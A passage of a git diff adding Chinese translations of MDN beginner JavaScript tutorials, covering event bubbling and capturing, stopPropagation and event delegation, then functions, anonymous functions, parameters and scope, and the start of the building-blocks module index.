src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> +</div></pre> + +<p>当‘’button‘’元素按钮被单击时,将显示视频,它是通过将改变<code><div>的</code>class属性值从<code>hidden</code>变为<code>showing</code>(这个例子的CSS包含两个<code>class</code>,它们分别控制这个<code><div></code>盒子在屏幕上显示还是隐藏。):</p> + +<pre class="brush: js notranslate">btn.onclick = function() { + videoBox.setAttribute('class', 'showing'); +}</pre> + +<p>然后我们再添加几个<code>onclick</code>事件处理器,第一个添加在<code><div></code>元素上,第二个添加在<code><video></code>元素上。这个想法是当视频(<code><video></code>)外 <code><div></code>元素内这块区域被单击时,这个视频盒子应该再次隐藏;当单击视频(<code><video></code>)本身,这个视频将开始播放。</p> + +<pre class="notranslate">videoBox.onclick = function() { + videoBox.setAttribute('class', 'hidden'); +}; + +video.onclick = function() { + video.play(); +};</pre> + +<p>但是有一个问题 - 当您点击<code>video</code>开始播放的视频时,它会在同一时间导致<code><div></code>也被隐藏。 这是因为<code>video</code>在<code><div></code>之内 - <code>video</code>是<code><div></code>的一个子元素 - 所以点击<code>video</code>实际上是同时也运行<code><div></code>上的事件处理程序。</p> + +<h4 id="对事件冒泡和捕捉的解释">对事件冒泡和捕捉的解释</h4> + +<p>当一个事件发生在具有父元素的元素上(例如,在我们的例子中是<code><video></code>元素)时,现代浏览器运行两个不同的阶段 - 捕获阶段和冒泡阶段。 在捕获阶段:</p> + +<ul> + <li>浏览器检查元素的最外层祖先<code><html></code>,是否在捕获阶段中注册了一个<code>onclick</code>事件处理程序,如果是,则运行它。</li> + <li>然后,它移动到<code><html></code>中单击元素的下一个祖先元素,并执行相同的操作,然后是单击元素再下一个祖先元素,依此类推,直到到达实际点击的元素。</li> +</ul> + +<p>在冒泡阶段,恰恰相反:</p> + +<ul> + <li>浏览器检查实际点击的元素是否在冒泡阶段中注册了一个<code>onclick</code>事件处理程序,如果是,则运行它</li> + <li>然后它移动到下一个直接的祖先元素,并做同样的事情,然后是下一个,等等,直到它到达<code><html></code>元素。</li> +</ul> + +<p><a href="https://mdn.mozillademos.org/files/14075/bubbling-capturing.png"><img alt="" src="https://mdn.mozillademos.org/files/14075/bubbling-capturing.png" style="display: block; height: 452px; margin: 0px auto; width: 960px;"></a></p> + +<p>(单击图片可以放大这个图表)</p> + +<p>在现代浏览器中,默认情况下,所有事件处理程序都在冒泡阶段进行注册。因此,在我们当前的示例中,当您单击视频时,这个单击事件从 <code><video></code>元素向外冒泡直到<code><html></code>元素。沿着这个事件冒泡线路:</p> + +<ul> + <li>它发现了<code>video.onclick...</code>事件处理器并且运行它,因此这个视频<code><video></code>第一次开始播放。</li> + <li>接着它发现了(往外冒泡找到的) <code>videoBox.onclick...</code>事件处理器并且运行它,因此这个视频<code><video></code>也隐藏起来了。</li> +</ul> + +<h4 id="用_stopPropagation_修复问题">用 stopPropagation() 修复问题</h4> + +<p>这是令人讨厌的行为,但有一种方法来解决它!标准事件对象具有可用的名为 <code><a href="/en-US/docs/Web/API/Event/stopPropagation">stopPropagation()</a></code>的函数, 当在事件对象上调用该函数时,它只会让当前事件处理程序运行,但事件不会在<strong>冒泡</strong>链上进一步扩大,因此将不会有更多事件处理器被运行(不会向上冒泡)。所以,我们可以通过改变前面代码块中的第二个处理函数来解决当前的问题:</p> + +<pre class="brush: js notranslate">video.onclick = function(e) { + e.stopPropagation(); + video.play(); +};</pre> + +<p>你可以尝试把 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">show-video-box.html source code</a> 拷贝到本地,然后自己动手修复它,或者在 <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html">show-video-box-fixed.html</a> 页面查看修复结果(也可以在这里 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box-fixed.html">source code</a> 查看源码)。</p> + +<div class="note"> +<p><strong>注解</strong>: 为什么我们要弄清楚捕捉和冒泡呢?那是因为,在过去糟糕的日子里,浏览器的兼容性比现在要小得多,Netscape(网景)只使用事件捕获,而Internet Explorer只使用事件冒泡。当W3C决定尝试规范这些行为并达成共识时,他们最终得到了包括这两种情况(捕捉和冒泡)的系统,最终被应用在现在浏览器里。</p> +</div> + +<div class="note"> +<p><strong>注解</strong>: 如上所述,默认情况下,所有事件处理程序都是在冒泡阶段注册的,这在大多数情况下更有意义。如果您真的想在捕获阶段注册一个事件,那么您可以通过使用<code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>注册您的处理程序,并将可选的第三个属性设置为true。</p> +</div> + +<h4 id="事件委托">事件委托</h4> + +<p>冒泡还允许我们利用事件委托——这个概念依赖于这样一个事实,如果你想要在大量子元素中单击任何一个都可以运行一段代码,您可以将事件监听器设置在其父节点上,并让子节点上发生的事件冒泡到父节点上,而不是每个子节点单独设置事件监听器。</p> + +<p>一个很好的例子是一系列列表项,如果你想让每个列表项被点击时弹出一条信息,您可以将<code>click</code>单击事件监听器设置在父元素<code><ul></code>上,这样事件就会从列表项冒泡到其父元素<code><ul></code>上。</p> + +<p>这个的概念在David Walsh的博客上有更多的解释,并有多个例子——看看<a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a>.</p> + +<h2 id="结论">结论</h2> + +<p>现在您应该知道在这个早期阶段您需要了解的所有web事件。如上所述,事件并不是JavaScript的核心部分——它们是在浏览器Web APIs中定义的。</p> + +<p>另外,理解JavaScript在不同环境下使用不同的事件模型很重要——从Web api到其他领域,如浏览器WebExtensions和Node.js(服务器端JavaScript)。我们并不期望您现在了解所有这些领域,但是当您在学习web开发的过程中,理解这些事件的基础是很有帮助的。</p> + +<p>如果你有什么不明白的地方,请重新阅读这篇文章,或者联系<a href="https://developer.mozilla.org/en-US/Learn#Contact_us">contact us</a>我们寻求帮助。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="http://www.quirksmode.org/js/events_order.html">Event order</a> (discussion of capturing and bubbling) — an excellently detailed piece by Peter-Paul Koch.</li> + <li><a href="http://www.quirksmode.org/js/events_access.html">Event accessing</a> (discussing of the event object) — another excellently detailed piece by Peter-Paul Koch.</li> + <li><a href="/en-US/docs/Web/Events">Event reference</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</p> diff --git a/files/zh-cn/learn/javascript/building_blocks/functions/index.html b/files/zh-cn/learn/javascript/building_blocks/functions/index.html new file mode 100644 index 0000000000..a4cdc2c0c2 --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/functions/index.html @@ -0,0 +1,428 @@ +--- +title: 函数-可复用代码块 +slug: learn/JavaScript/Building_blocks/Functions +tags: + - API + - JavaScript + - 函数 + - 初学者 + - 匿名 + - 参数 + - 学习 + - 方法 + - 浏览器 + - 自定义 +translation_of: Learn/JavaScript/Building_blocks/Functions +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">在JavaScript中另一个基本概念是<strong>函数</strong>, 它允许你在一个代码块中存储一段用于处理单任务的代码,然后在任何你需要的时候用一个简短的命令来调用,而不是把相同的代码写很多次。在本文中,我们将探索函数的基本概念,如基本语法、如何定义和调用、范围和参数。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的电脑知识,对HTML与CSS有基本的了解,及已阅读: <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>(JS的入门)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解 Javascript 函数背后的基本概念。</td> + </tr> + </tbody> +</table> + +<h2 id="我能在哪找到函数">我能在哪找到函数?</h2> + +<p>在 JavaScript中, 你将发现函数无处不在 。事实上, 到目前为止,我们一直在使用函数,只是我们还没很好的讨论它们。然而现在是时候了,让我们开始聊聊函数,并探索它们的语法。</p> + +<p>几乎任何时候,只要你使用一个带有一对圆括号()的JavaScript结构,并且你不是在使用一个常见的比如for for循环,while或do…while循环,或者if语句这样的内置语言结构时,那么您就正在使用函数。</p> + +<div class="hidden"></div> + +<h2 id="浏览器内置函数">浏览器内置函数</h2> + +<p>在这套课程中我们已经使用了很多浏览器内置函数,当我们操作一个字符串的时候,例如:</p> + +<pre class="brush: js notranslate">var myText = 'I am a string'; +var newString = myText.replace('string', 'sausage'); +console.log(newString); +// the replace() string function takes a string, +// replaces one substring with another, and returns +// a new string with the replacement made</pre> + +<p>或者当我们操作一个数组的时候:</p> + +<pre class="brush: js notranslate">var myArray = ['I', 'love', 'chocolate', 'frogs']; +var madeAString = myArray.join(' '); +console.log(madeAString); +// the join() function takes an array, joins +// all the array items together into a single +// string, and returns this new string</pre> + +<p>或者当我们生成一个随机数时:</p> + +<pre class="brush: js notranslate">var myNumber = Math.random() +// the random() function generates a random +// number between 0 and 1, and returns that +// number</pre> + +<p>...我们已经使用过函数了!</p> + +<div class="note"> +<p>提示:如果需要,你可以随意将这些代码输入浏览器控制台以便于你熟悉其功能。</p> +</div> + +<p>JavaScript有许多内置的函数<span style="">,可以让您做很多有用的事情,而无需自己编写所有的代码。事实上</span>, 许多你调用(运行或者执行的专业词语)浏览器内置函数时调用的代码并不是使用JavaScript来编写——大多数调用浏览器后台的函数的代码,是使用像C++这样更低级的系统语言编写的,而不是像JavaScript这样的web编程语言。</p> + +<p>请记住,这些内置浏览器函数不是核心JavaScript语言的一部分——被定义为浏览器API的一部分,它建立在默认语言之上,以提供更多的功能(请参阅本课程的早期部分以获得更多的描述)。我们将在以后的模块中更详细地使用浏览器API。</p> + +<h2 id="函数与方法">函数与方法</h2> + +<p>程序员把函数称为对象<strong>方法(method)</strong>的一部分。你还不必了解JavaScript中已建构的对象在更深层次上是如何运作的<font><font>——你可以等到下一小节,我们会教给你有关对象运作方式的一切。</font></font><font><font>在我们继续前进之前,我们需要澄清一些有关方法和函数概念之间可能存在的误会——当你在网络上浏览相关信息的时候,你很可能会碰上这两个术语。</font></font></p> + +<p>到目前为止我们所使用的内置代码同属于这两种形式:函数和方法。你可以在<a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects">这里</a>查看内置函数,内置对象以及其相关方法的完整列表。</p> + +<p><font><font>严格说来,内置浏览器函数并不是函数——它们是</font></font><strong style=""><font><font>方法</font></font></strong><font><font>。</font><font>这听起来有点可怕和令人困惑,但不要担心 ——函数和方法在很大程度上是可互换的,</font></font>至少在我们的学习阶段是这样的<font><font>。</font></font></p> + +<p>二者区别在于方法是在对象内定义的函数。浏览器内置函数(方法)和变量(称为属性)存储在结构化对象内,以使代码更加高效,易于处理。</p> + +<div class="hidden"></div> + +<h2 id="自定义函数">自定义函数</h2> + +<p>您在过去的课程中还看到很多定制功能 - 在代码中定义的功能,而不是在浏览器中。每当您看到一个自定义名称后面都带有括号,那么您使用的是自定义函数. <font><font>在我们</font><font>的</font><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code"><font>循环文章中</font></a><font>的</font></font><a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html"><font><font>random-canvas-circles.html</font></font></a><font><font>示例(另见完整的</font></font><a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html"><font><font>源代码</font></font></a><font><font>)中</font><font>,我们包括一个如下所示的自定义</font><font>函数:</font></font><code>draw()</code></p> + +<pre class="brush: js notranslate">function draw() { + ctx.clearRect(0,0,WIDTH,HEIGHT); + for (var i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); + } +}</pre> + +<p><font><font>该函数在</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas" title="使用HTML <canvas>元素与canvas脚本API来绘制图形和动画。"><code><canvas></code></a><font><font>元素中</font><font>绘制100个随机圆</font><font>。</font><font>每次我们想要这样做,我们可以使用这个函数来调用这个功能</font></font></p> + +<pre class="brush: js notranslate">draw();</pre> + +<p><font><font>而不是每次我们想重复一遍,都要写出所有的代码。</font><font>函数可以包含任何您喜欢的代码 - 甚至可以从内部函数调用其他函数。</font><font>以上函数例如调用</font></font><code>random()</code><font><font>函数三次,由以下代码定义:</font></font></p> + +<pre class="brush: js notranslate">function random(number) { + return Math.floor(Math.random()*number); +}</pre> + +<p><font><font>我们需要这个函数,因为浏览器的内置</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random"><font><font>Math.random()</font></font></a><font><font>函数只生成一个0到1之间的随机十进制数。我们想要一个0到一个指定数字之间的随机整数。</font></font></p> + +<div class="hidden"></div> + +<h2 id="调用函数">调用函数</h2> + +<p>现在你可能很清楚这一点,<font>但仅仅为了防止……,要在函数定义之后,实际使用它,你必须运行或调用它。</font><font>这是通过将函数名包含在代码的某个地方,后跟圆括号来完成的。</font></p> + +<pre class="brush: js notranslate">function myFunction() { + alert('hello'); +} + +myFunction() +// calls the function once</pre> + +<h2 id="匿名函数">匿名函数</h2> + +<p><font>您可能会以稍微不同的方式看到定义和调用的函数。</font><font>到目前为止,我们刚刚创建了如下函数:</font></p> + +<pre class="brush: js notranslate">function myFunction() { + alert('hello'); +}</pre> + +<p>但是您也可以创建一个没有名称的函数:</p> + +<pre class="brush: js notranslate">function() { + alert('hello'); +}</pre> + +<p>这个函数叫做<strong>匿名函数</strong> — 它没有函数名! 它也不会自己做任何事情。 你通常将匿名函数与事件处理程序一起使用, 例如,如果单击相关按钮,以下操作将在函数内运行代码:</p> + +<pre class="brush: js notranslate">var myButton = document.querySelector('button'); + +myButton.onclick = function() { + alert('hello'); +}</pre> + +<p>上述示例将要求{{htmlelement("button")}} <font>在页面上提供可用于选择并单击</font><font>的</font><font>元素。</font><font>您在整个课程中已经看到过这种结构了几次,您将在下一篇文章中了解更多信息并在其中使用。</font></p> + +<p>你还可以将匿名函数分配为变量的值,例如:</p> + +<pre class="brush: js notranslate">var myGreeting = function() { + alert('hello'); +}</pre> + +<p>现在可以使用以下方式调用此函数:</p> + +<pre class="brush: js notranslate">myGreeting();</pre> + +<p>有效地给变量一个名字;还可以将该函数分配为多个变量的值,例如:</p> + +<pre class="brush: js notranslate">var anotherGreeting = function() { + alert('hello'); +}</pre> + +<p>现在可以使用以下任一方法调用此函数</p> + +<pre class="brush: js notranslate">myGreeting(); +anotherGreeting();</pre> + +<p>但这只会令人费解,所以不要这样做!创建方法时,最好坚持下列形式:</p> + +<pre class="brush: js notranslate">function myGreeting() { + alert('hello'); +}</pre> + +<p>您将主要使用匿名函数来运行负载的代码以响应事件触发(如点击按钮) - 使用事件处理程序。再次,这看起来像这样:</p> + +<pre class="brush: js notranslate">myButton.onclick = function() { + alert('hello'); + // I can put as much code + // inside here as I want +}</pre> + +<div class="note"> +<p>匿名函数也称为函数表达式。函数表达式与函数声明有一些区别。函数声明会进行声明提升(declaration hoisting),而函数表达式不会。</p> +</div> + +<h2 id="函数参数">函数参数</h2> + +<p>一些函数需要在调用它们时指定参数 ——这些参数值需要放在函数括号内,才能正确地完成其工作。</p> + +<div class="note"> +<p><strong>Note</strong>: 参数有时称为参数(arguments),属性(properties)或甚至属性(attributes)</p> +</div> + +<p><font><font>例如,浏览器的内置</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random"><font><font>Math.random()</font></font></a><font><font>函数不需要任何参数。</font><font>当被调用时,它总是返回0到1之间的随机数:</font></font></p> + +<pre class="brush: js notranslate">var myNumber = Math.random();</pre> + +<p><font><font>浏览器的内置字符串</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace"><font><font>replace()</font></font></a><font><font>函数需要两个参数:在主字符串中查找的子字符串,以及用以下替换该字符串的子字符串:</font></font></p> + +<pre class="brush: js notranslate">var myText = 'I am a string'; +var newString = myText.replace('string', 'sausage');</pre> + +<div class="note"> +<p><strong>Note</strong>:当您需要指定多个参数时,它们以逗号分隔。</p> +</div> + +<p><font><font>还应该注意,有时参数不是必须的 </font></font>—— <font><font>您不必指定它们。</font><font>如果没有,该功能一般会采用某种默认行为。</font><font>作为示例,数组 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join"><font><font>join()</font></font></a><font><font>函数的参数是可选的:</font></font></p> + +<pre class="brush: js notranslate">var myArray = ['I', 'love', 'chocolate', 'frogs']; +var madeAString = myArray.join(' '); +// returns 'I love chocolate frogs' +var madeAString = myArray.join(); +// returns 'I,love,chocolate,frogs'</pre> + +<p>如果没有包含参数来指定加入/分隔符,默认情况下会使用逗号</p> + +<div class="hidden"></div> + +<h2 id="函数作用域和冲突">函数作用域和冲突</h2> + +<p>我们来谈一谈 {{glossary("scope")}}即作用域 — 处理函数时一个非常重要的概念。当你创建一个函数时,函数内定义的变量和其他东西都在它们自己的单独的范围内, 意味着它们被锁在自己独立的隔间中, 不能被函数外的代码访问。</p> + +<p>所有函数的最外层被称为全局作用域。 在全局作用域内定义的值可以在任意地方访问。</p> + +<p><font>JavaScript由于各种原因而建立,但主要是由于安全性和组织性。</font><font>有时您不希望变量可以在代码中的任何地方访问 - 您从其他地方调用的外部脚本可能会开始搞乱您的代码并导致问题,因为它们恰好与代码的其他部分使用了相同的变量名称,造成冲突。</font><font>这可能是恶意的,或者是偶然的。</font></p> + +<div class="hidden"></div> + +<p>例如,假设您有一个HTML文件,它调用两个外部JavaScript文件,并且它们都有一个使用相同名称定义的变量和函数:</p> + +<pre class="brush: html notranslate"><!-- Excerpt from my HTML --> +<script src="first.js"></script> +<script src="second.js"></script> +<script> + greeting(); +</script></pre> + +<pre class="brush: js notranslate">// first.js +var name = 'Chris'; +function greeting() { + alert('Hello ' + name + ': welcome to our company.'); +}</pre> + +<pre class="brush: js notranslate">// second.js +var name = 'Zaptec'; +function greeting() { + alert('Our company is called ' + name + '.'); +}</pre> + +<p><font><font>这两个函数都使用 </font></font><code>greeting()</code><font><font> 形式调用,但是你只能访问到 <font face="consolas, Liberation Mono, courier, monospace"><span style="">first.js</span></font> 文件的</font></font><code>greeting()</code><font><font>函数(第二个文件被忽视了)。另外,第二次尝试使用 <code>let</code> 关键字定义 <code>name</code> 变量导致了一个错误。</font></font></p> + +<div class="note"> +<p><strong>Note</strong>: 您可以参考这个例子 <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html">running live on GitHub</a> (查看完整 <a href="https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions">源代码</a>).</p> +</div> + +<p>将代码锁定在函数中的部分避免了这样的问题,并被认为是最佳实践。</p> + +<p><font>这有点像一个动物园。</font><font>狮子,斑马,老虎和企鹅都保留在自己的园子中,只能拿到到它们园子中的东西 —— 与其函数作用域相同。</font><font>如果他们能进入其他园子,就会出现问题。不同的动物会在不熟悉的栖息地内感到真的不舒服 - 一只狮子或老虎会在企鹅的水多的,冰冷的的领域中感到可怕。最糟糕的是,狮子和老虎可能会尝试吃企鹅!</font></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14079/MDN-mozilla-zoo.png" style="display: block; margin: 0 auto;"></p> + +<p>动物园管理员就像全局作用域 - 他或她有钥匙访问每个园子,重新投喂食物,照顾生病的动物等。</p> + +<h3 id="主动学习_和_scope_玩耍">主动学习: 和 scope 玩耍</h3> + +<p>我们来看一个真正的例子来展示范围</p> + +<ol> + <li><font><font>首先,制作我们的</font></font><a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-scope.html"><font><font>function-scope.html</font></font></a><font><font>示例</font><font>的本地副本</font><font>。它</font><font>包含两个函数</font></font><code>a()</code><font><font>和</font></font><code>b()</code><font><font>,和三个变量—— </font></font><code>x</code><font><font>,</font></font><code>y</code><font><font>和</font></font><code>z</code><font><font>——其中两个在函数中被定义,另一个被定义在全局作用域内。</font><font>它还包含一个名为</font></font><code>output()</code>的函数<font><font>,它接收一个参数,并将其输出到页面的一个段落中。</font></font></li> + <li><font><font>在浏览器和文本编辑器中打开示例。</font></font></li> + <li><font><font>在浏览器开发工具中打开JavaScript控制台。</font><font>在JavaScript控制台中,输入以下命令:</font></font></li> +</ol> + +<pre class="brush: js notranslate">output(x);</pre> + +<p><font><font>您应该看到变量</font></font><code>x</code><font><font>输出到屏幕</font><font>的值</font><font>。</font></font></p> + +<p> 4.现在尝试在您的控制台中输入以下内容</p> + +<pre class="brush: js notranslate">output(y); +output(z);</pre> + +<p><font><font>这两个都应该返回错误沿“ </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined"><font><font>ReferenceError:y未定义</font></font></a><font><font> ”。</font><font>这是为什么?</font><font>由于函数作用域 - </font></font><code>y<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="">和</span></font></code><code>z</code>被<font><font>锁定在</font><font>函数</font></font><code>a()</code><font><font>和</font></font><code>b()</code><font><font>函数中,所以</font></font><code>output()</code><font><font>从全局作用域调用时无法访问它们。</font></font></p> + +<p><font><font> 5.但是,从另一个函数里面调用什么呢?</font><font>尝试编辑</font></font><code>a()</code><font><font>,</font></font><code>b()</code><font><font>所以他们看起来像这样:</font></font></p> + +<pre class="brush: js notranslate">function a() { + var y = 2; + output(y); +} + +function b() { + var z = 3; + output(z); +}</pre> + +<p><font><font>保存代码并重新加载到浏览器中,然后尝试</font><font>从JavaScript控制台</font><font>调用</font></font><code>a()</code><font><font>和</font></font><code>b()</code><font><font>函数:</font></font></p> + +<pre class="brush: js notranslate">a(); +b();</pre> + +<p><font><font>您应该看到</font><font>页面中输出的</font></font><code>y</code><font><font>和</font></font><code>z</code>的<font><font>值。</font><font>这样就没问题,因为</font></font><code>output()</code><font><font>函数在其他函数的内部被调用 - 在这种情况下,输出变量的定义和函数的调用都在同一个作用域中(译者注:即函数作用域)。</font></font><code>output()</code><font><font>它可以从任何地方被调用,因为它在全局作用域中被定义。</font></font></p> + +<p> 6.现在尝试更新您的代码,如下所示:</p> + +<pre class="brush: js notranslate">function a() { + var y = 2; + output(x); +} + +function b() { + var z = 3; + output(x); +}</pre> + +<p>再次保存并重新加载,并在JavaScript控制台中再次尝试:</p> + +<pre class="brush: js notranslate">a(); +b();</pre> + +<p><font><font>函数 </font></font><code>a()</code><font><font>和</font></font><code>b()</code><font><font>都应该输出x---1的值。这些没有问题,因为即使</font></font><code>output()</code>的<font><font>调用与</font></font><code>x</code>的<font><font>定义</font><font>不在同一个作用域内</font><font>,但</font></font><code>x</code><font><font>是一个全局变量,所以在所有代码中都可用。</font></font></p> + +<p>7.最后,尝试更新您的代码,如下所示:</p> + +<pre class="brush: js notranslate">function a() { + var y = 2; + output(z); +} + +function b() { + var z = 3; + output(y); +}</pre> + +<p>再次保存并重新加载,并在JavaScript控制台中再次尝试:</p> + +<pre class="brush: js notranslate">a(); +b();</pre> + +<p><font><font>这次</font></font><code>a()</code><font><font>和</font></font><code>b()</code><font><font>调用都会返回那个令人讨厌的</font></font> "<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: z is not defined</a>" error — 这是因为<code>output()</code>函数的调用和输出变量的定义不在同一个函数作用域内 - 变量对这些函数调用是不可见的。</p> + +<div class="note"> +<p><strong>注意</strong>:相同的范围规则不适用于循环(for(){...})和条件块(if(){...}) - 它们看起来非常相似,但它们不一样!小心不要让这些困惑。</p> +</div> + +<div class="note"> +<p>注意:ReferenceError:“x”未定义错误是您遇到的最常见的错误。如果您收到此错误,并且确定您已经定义了该问题的变量,请检查它的范围。</p> +</div> + +<ul> +</ul> + +<h3 id="函数内部的函数">函数内部的函数</h3> + +<p><font>请记住,您可以从任何地方调用函数,甚至可以在另一个函数中调用函数。</font><font>这通常被用作保持代码整洁的方式 - 如果您有一个复杂的函数,如果将其分解成几个子函数,它更容易理解:</font></p> + +<pre class="brush: js notranslate">function myBigFunction() { + var myValue; + + subFunction1(); + subFunction2(); + subFunction3(); +} + +function subFunction1() { + console.log(myValue); +} + +function subFunction2() { + console.log(myValue); +} + +function subFunction3() { + console.log(myValue); +} +</pre> + +<p>要确保函数调取的数值处在有效的作用域内。上面的例子中会产生一个错误提示,<code>ReferenceError:myValue is not define</code>,因为尽管<code>myValue</code>变量与函数调用指令处在同一个作用域中, 但它却没有在函数内被定义 <font><font>——</font></font> 实际代码在调用函数时就开始运行了。为了使代码正确运作,你必须将值作为参数传递给函数,如下所示:</p> + +<pre class="brush: js notranslate">function myBigFunction() { + var myValue = 1; + + subFunction1(myValue); + subFunction2(myValue); + subFunction3(myValue); +} + +function subFunction1(value) { + console.log(value); +} + +function subFunction2(value) { + console.log(value); +} + +function subFunction3(value) { + console.log(value); +}</pre> + +<h2 id="测试你的技能!"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>测试你的技能!</strong></span></font></h2> + +<p>你已经来到了本文章的结尾,但是你还能记得最重要的知识吗?你可以在离开这里找到一些更深度的测试来证实你已经记住了这些知识——查看<a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Functions">测试你的技能:函数</a>(英文)。后两章文本包含了这个测试需要的技能,所以你可能先需要阅读再尝试该测试。</p> + +<h2 id="总结">总结</h2> + +<p>本文探讨了函数背后的基本概念,为之后的学习奠定了基础。下一步,我们将进行实践,并带你一步步建立起你自己的函数。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions detailed guide</a> — covers some advanced features not included here.</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions reference</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a> — advanced concept references</li> +</ul> + +<ul> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</p> diff --git a/files/zh-cn/learn/javascript/building_blocks/index.html b/files/zh-cn/learn/javascript/building_blocks/index.html new file mode 100644 index 0000000000..0f6f3798d2 --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/index.html @@ -0,0 +1,55 @@ +--- +title: 创建JavaScript代码块 +slug: learn/JavaScript/Building_blocks +tags: + - JavaScript + - 事件 + - 优先级 + - 函数 + - 循环 + - 教程 + - 文章 + - 新手 + - 条件 + - 模块 + - 编码 + - 评估 +translation_of: Learn/JavaScript/Building_blocks +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">在这个模块中, 我们将继续介绍JavaScript的关键基本特性,在这一章中我们将关注条件控制语句、循环语句、函数模块、事件等通用代码块。你可能在之前的的课程中见过这些模块,但仅仅是见过—在这篇模块中我们将明确讨论这些模块.</p> + +<h2 id="预备知识">预备知识</h2> + +<p>在开始这部分模块之前, 你应该熟悉基本的HTML和CSS, 并且已经看完我们之前的模块:<a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript 第一步</a>。</p> + +<div class="note"> +<p><strong>注</strong>: 如果你在使用无法创建自己文件的电脑/平板/其他设备,你可以试试在线编辑器,例如 <a href="http://jsbin.com/">JSBin</a> 或 <a href="https://thimble.mozilla.org/">Thimble</a>.</p> +</div> + +<h2 id="指南">指南</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/conditionals">在代码中做决定 — 条件</a></dt> + <dd>在任何程序语言中,程序需要根据不同的输入数据作出相应的选择并执行相关的操作。例如,在游戏中,如果玩家的生命值是0,那么游戏就结束了。在天气应用中,如果在早上打开应用,则显示一个太阳升起的图片,如果在晚上打开,则显示星星和月亮。在这篇文章里我们将探索如何在JS中使用条件结构。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/Looping_code">循环语句</a></dt> + <dd>有时候你需要在一个行中重复执行某一个任务。例如,查看一整列的名字。在程序中,循环能非常好的处理好这个问题。在本章中我们将介绍JavaScript的循环语句。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/Functions">函数 — 可重用的代码块</a></dt> + <dd>在编码中的另一个基本概念是函数(functions)。 <strong>函数</strong> 允许你在定义的区块内存储一段代码用来执行一个单独的任务,然后调用该段代码时,你需要使用一个简短的命令,而不用重复编写多次该段代码。在这篇文章中我们将探讨函数的基本概念,如语法、如何调用定义的函数、作用域和参数。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">打造自己的函数</a></dt> + <dd>本文结合前几篇文章中所涉及的基本理论,提供了一个实践经验。在这里你会得到一些实践,并且编写自己的自定义函数。随后,我们也将进一步解释一些与函数相关的有用的细节。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/Return_values">函数返回值</a></dt> + <dd>在这个课程中,我们要讨论的最后一个基本概念是返回值(通过返回值结束我们的函数)。有些函数在完成后不返回任何值,而有些函数返回。重要的是了解返回的值是什么,和如何在你的代码中使用他们,以及如何使自定义的函数返回需要的值。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/Events">事件介绍</a></dt> + 